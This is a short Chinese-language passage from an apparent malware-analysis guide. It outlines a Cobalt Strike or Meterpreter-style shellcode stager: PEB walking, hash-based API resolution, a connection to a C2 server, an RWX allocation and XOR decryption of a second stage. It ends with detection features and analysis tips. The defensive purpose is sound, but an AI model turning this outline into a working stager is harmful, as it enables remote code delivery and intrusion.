gs:[60h] → PEB ↓ 遍历模块链 → kernel32 基址 ↓ 导出表哈希解析 → GetProcAddress / LoadLibraryA ↓ LoadLibraryA("ws2_32.dll") LoadLibraryA("user32.dll") ↓ WSAStartup → socket → connect(C2) ↓ recv(encrypted_payload) ↓ VirtualAlloc(RWX) ↓ XOR 解密 ↓ 执行第二阶段 payload这种结构是 Cobalt Strike Beacon、Meterpreter stager 等红队工具的标准 stager 模式。理解它有助于防御侧在内存中识别 shellcode 特征、提取 C2 地址。 快速识别特征特征 含义gs:[60h] 读取 读 PEB,无导入表 shellcode 标志mov ecx, <4字节哈希>; call fn 哈希解析 API 调用模式栈上逐字节写字符串 隐藏 DLL 名称VirtualAlloc + PAGE_EXECUTE_READWRITE 申请可执行内存准备执行 payload循环 XOR 解密第二阶段 shellcode实际分析时,先定位 resolve_api 函数,把所有哈希值批量还原成函数名,再按调用顺序梳理业务逻辑,速度会快很多。